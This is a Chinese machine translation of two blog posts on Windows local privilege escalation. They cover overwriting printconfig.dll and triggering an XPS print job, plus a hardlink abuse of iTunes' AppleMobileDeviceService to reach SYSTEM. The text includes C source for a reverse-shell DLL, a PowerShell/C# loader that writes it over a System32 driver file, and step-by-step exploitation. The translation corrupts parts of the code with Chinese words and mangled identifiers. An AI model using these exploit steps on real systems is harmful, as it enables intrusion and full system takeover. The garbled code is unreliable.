任意文件覆盖一直被认为是一个严重的漏洞,因为它可能导致提权。在Windows系统上,这通常意味着冒充管理员或运行系统。如果标准用户能够通过某种“利用”(通过给他修改甚至更好的完全控制权限)更改受特殊保护文件的权限,他可以更改目标文件的内容以注入恶意代码进入服务可执行文件、脚本、dll等。但随着时间的推移,“开发后”攻击面已受到限制,例如系统文件受到特殊的“受信任的安装程序”组的保护,甚至系统/管理员也只有读取和执行权限。然而,最近,Forshaw的“DiaghubCollectorExploitation”可能已被攻击者成功更改System32中“license.rtf”文件的权限,该文件不受受信任安装程序的保护。第三方软件始终是一种选择,因为它们通常不受“受信任的安装程序”的保护。攻击者应该枚举所有已安装的软件和可执行文件,确定哪些在高上下文中运行,以及它们是如何配置的。一个典型的例子是服务可执行文件,它以SYSTEM身份运行并且可以由标准用户启动。在我的惠普笔记本电脑上,我有满足所有要求的“惠普软件框架服务(HPSoftwareFramework)”。HPSoftwareFramework提供一组通用的软件接口,可以集中和简化硬件、BIOS和HP设备驱动程序。程序访问。另一个不错的选择是“DropboxUpdaterService”,它作为具有每小时系统权限的计划任务运行(在标准安装中)。但是,如果攻击者只想依赖标准的Windows操作系统软件怎么办?使用Microsoft补丁变得越来越困难,但显然存在一些可能性。例如,还记得“ALPCTaskScheduler”漏洞吗?最终结果是覆盖“Printconfig.dll”,其中SYSTEM具有完全控制权,启动XPS打印作业(它将加载修改后的Printconfig.dll),并在SYSTEM用户上下文中运行它执行代码。结果,它仍然有效。接下来,我将向您展示如何使用相对简单的一体化Powershell脚本从printconfig.dll“滥用”printconfig.dll。“MicrosoftXPSDocumentWriter”是一种特殊的打印机驱动程序:“MicrosoftXPSDocumentWriter(MXDW)是一种打印到文件驱动程序,可使Windows)在从WindowsXP开始的Windows版本上创建XMLPaperSpecification(XPS)文档文件”该驱动程序位于不同的位置(在本例中为Win2019服务器):有趣的是第一个文件,因为它是最新的,并且与我们的架构(X64)相匹配。因此,如果我们获得对该文件的完全控制权,我们可以用修改后的dll覆盖它,启动一个XPS打印作业,该作业将加载dll并以SYSTEM用户身份执行代码(例如反向shell)。出于保密原因,我不会告诉您构建和编译DLL,而是向您展示代码的相关部分:#include"stdafx.h"#include#include#define_WINSOCK_DEPRECATED_NO_WARNINGSusingnamespacestd;voidReverse(){WSADATAwsaData;SOCKETs1;structsockaddr_inhax;STARTUPINFOsui;PROCESS_INFORMATIONpi;launched=TRUE;WSAStartup(MAKEWORD(2,2),&wsaData);s1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsignedint)NULL,(unsignedint)NULL);hax.sin_family=AF_INET;哈克斯。sin_port=htons(4444);hax.sin_addr.s_addr=inet_addr("127.0.0.1");WSAConnect(s1,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);memset(&sui,0,sizeof(sui));sui.cb=sizeof(sui);sui.dwFlags=(STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW);sui.hStdInput=sui.hStdOutput=sui.hStdError=(HANDLE)s1;TCHARcommandLine[256]=L"cmd.exe";CreateProcess(NULL,commandLine,NULL,NULL,TRUE,0,NULL,NULL,&sui,&pi);}extern"C"__declspec(dllexport)bool__cdeclDllMain(_In_HINSTANCEhinstDLL,_In_DWORDfdwReason,_In_LPVOIDlpvReserved){开关(fdwRe){caseDLL_PROCESS_ATTACH:Reverse();break;caseDLL_THREAD_ATTACH:caseDLL_THREAD_DETACH:caseDLL_PROCESS_DETACH:break;}returnTRUE;}DLLMain()总是在加载库时调用,它将在本地主机端口4444上执行我们的反向shell我们只需要编译DLL并将其转换为b64格式的二进制文件,因为我们会将其插入ps1脚本:$FilePath="c:\temp\my.dll"$ByteArray=[System.IO.File]::ReadAllBytes($FilePath)$Base64String=[System.Convert]::ToBase64String($ByteArray)$Base64String|Set-Content-force"out.64"现在我们的脚本是"xps.ps1",它必须包含一些c#代码,因为它更容易调用和操作API函数:;}publicstaticvoidPrintJob(stringprinterName,stringjobName){IntPtrcompletionEvent=CreateEvent(IntPtr.Zero,true,false,null);if(completionEvent==IntPtr.Zero)thrownewWin32Exception();try{IXpsPrintJobjob;IXpsPrintJobStreamjobStream;StartJob(completionEvent,outjob,outjobStream);jobStream.Close();}最后{if(completionEvent!=IntPtr.Zero)CloseHandle(completionEvent);}}私人taticvoidStartJob(stringprinterName,stringjobName,IntPtrcompletionEvent,outIXpsPrintJobjob,outIXpsPrintJobStreamjobStream){intresult=StartXpsPrintJob(printerName,jobName,null,IntPtr.Zero,completionEvent,null,0,outjob,outjobStream,IntPtr.Zero);}[DllImport("XpsPrintPoint.dll",条目="StartXpsPrintJob")]privatestaticexternintStartXpsPrintJob([MarshalAs(UnmanagedType.LPWStr)]StringprinterName,[MarshalAs(UnmanagedType.LPWStr)]StringjobName,[MarshalAs(UnmanagedType.LPWStr)]StringoutputFileName,IntPtrprogressEvent,IntPtrcompletionArvent,[Marshal.LPAs(UnmanagedType)byte[]printablePagesOn,UInt32printablePagesOnCount,outIXpsPrintJobxpsPrintJob,outIXpsPrintJobStreamdocumentStream,IntPtrprintTicketStream);[DllImport("Kernel32.dll",SetLastError=true)]privatestaticexternIntPtrCreateEvent(IntPtrlpEventAttributes,boolbManualReset,boolbInitialState,stringlpName);[DllImport("Kernel32.dll",SetLastError=true,ExactSpelling=true)]privatestaticexternWAIT_RESULTWaitForSingleObject(IntPtrhandle,Int32milliseconds);[DllImport("Kernel32.dll",SetLastError=true)][返回:MarshalAs(UnmanagedType.Bool)]privatestaticexternboolCloseHandle(IntPtrhObject);}[Guid("0C733A30-2A1C-11CE-ADE5-077AA004")][InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interfaceIXpsPrintJobStream{voidRead([MarshalAs(UnmanagedType.LPArray)]byte[]pv,uintcb,outuintpcbRead);voidWrite([MarshalAs(UnmanagedType.LPArray)]byte[]pv,uintcb,outuintpcbWritten);voidClose();}[Guid("5ab89b06-8194-425f-ab3b-d7a96e350161")][InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interfaceIXpsPrintJob{voidCancel();voidGetJobStatus(outXPS_JOB_STATUSjobStatus);}[StructLayoutSquentiald(LayoutKin))]structXPS_JOB_STATUS{publicUInt32jobId;publicInt32currentDocument;publicInt32currentPage;publicInt32currentPageTotal;publicXPS_JOB_COMPLETIONcompletion;publicInt32jobStatus;};enumXPS_JOB_COMPLETION{XPS_JOB_IN_PROGRESS=0,XPS_JOB_COMPLETED=1,XPS_JOB_CANCELLED=2,XPS_JOB_FAILED=3}enumWAIT_RESULT{WAIT_OBJECT_0=0,WAIT_ABANDONED=0x80,WAIT_TIMEOUT=0x102,WAIT_FAILED=-1}}"@##Changethisaccordingtoyoursystem:$dllb64="..."$targetfile="C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_e4ff50d4d5f8b2aa\Amd64\printconfig.dll"$PEBytes=[System.Convert]::FromBase64String($dllb64)$PEBytes|Set-Content-force$targetfile-EncodingByteadd类型-typeDefinition$mycode[XPS.XpsPrint]::StartPrintJob()echo"[+]done!"exit在$ddlB64变量中我们将之前保存在"out.64"中的dll的b64字符串赋值现在,exit用于测试目的,作为SYSTEM用户,只需更改“printconfig.dll”的权限即可。记住,做好备份!让我们继续:是的,它绝对有效!通过以没有特殊权限的标准用户身份启动XPS打印作业,获得SYSTEM用户的反向shell!为了摆脱文件对话框,我们可以在StartJob()方法中指定一个文件名:\\temp\\test.txt",IntPtr.Zero,completionEvent,null,0,outjob,outjobStream,IntPtr.Zero);}但你猜怎么着?您将模拟“NTAUTHORITY\LOCALSERVICE”!在此示例中,允许后台打印XPS文件的驱动程序“printfilterpipelinesvc.exe”被调用并作为“本地服务”帐户而不是“系统”帐户运行!但是攻击者如何覆盖任意文件呢?如上所述,我将通过一个真实示例向您展示如何使用“Printconfig”dl。但。这款iPhone与它有什么关系?为此,我专门寻找可以通过硬链接利用的特权文件操作。通过努力,我们找到了目录c:\programdata\apple\lockdown。此文件夹由iTunes软件安装的“AppleMobileDeviceService”使用,它以“本地系统”权限运行,负责处理通过USB端口与Apple设备(iPhone、iPad等)的通信。如下图,标准用户可以在以下目录下添加文件:现在每次插入新设备时都会将驱动程序插入到我们的Apple设备中。将生成一个“配对证书”,在此文件上设置的权限如下如下:如您所见,用户对该文件只有读取权限。现在你会发现一个有趣的事情,如果你拔掉设备然后再插上,神奇的事情就会发生,授予用户对文件的完全控制权:我们观察到使用来自Sysinternals的“procmon”工具这个有趣的行为:SetSecurity调用是从提升的上下文(SYSTEM)发出的,它授予用户对资源的完全控制权。那么这会不会成为可以被攻击者利用的漏洞呢?答案是肯定的,输入“NATIVEHARDLINKS”即可。标准Windows用户不需要特殊权限来创建此类链接,我们可以使用Forshaw的实用程序来管理它们。那么为什么不在这个文件上设置一个“本地硬链接”并让它指向一个只有SYSTEM可以完全控制的资源呢?下面就是我们要做的,把我们的文件改成printconfig.dll,然后用我们自己的dll覆盖,启动XPS打印作业,最后享受SYSTEMshell。您可以观看POC的视频,链接在这里。边界条件1.您需要在Windows计算机上具有用户shell程序访问权限;2.iTunes和AppleMobileDeviceService应该一起安装,为此我们使用最新的iTunes版本(撰写本文时为12.10.3)进行测试。3.出于测试目的,您需要物理访问计算机以插入Apple设备,但这不是必需的。因为可以删除*.plist文件,创建指向同一个*.plist文件的硬链接指向目标dll,等待设备插件。我们观察到有时即使没有配对设备也会设置完全权限,但我们需要对此进行更多调查。请注意,通用硬链接滥用在未来的Windows版本中将不再有效。因为,在最新的“Insider”预览版中,MS增加了一些额外的检查,所以如果你没有访问目标文件的权限,你在尝试创建硬链接时会得到访问被拒绝的错误。在每一个新系统正式发布之前,微软都会为开发者提供一个预览系统,以便更快地发现和解决bug。WindowsInsider的开放注册让更多的人加入到Windows10的改进和完善中,让Windows更加适应消费者的需求。本文翻译自:https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/https://decoder.cloud/2019/12/12/from-iphone-to-nt-authoritysystem/如有转载,请注明原文地址。
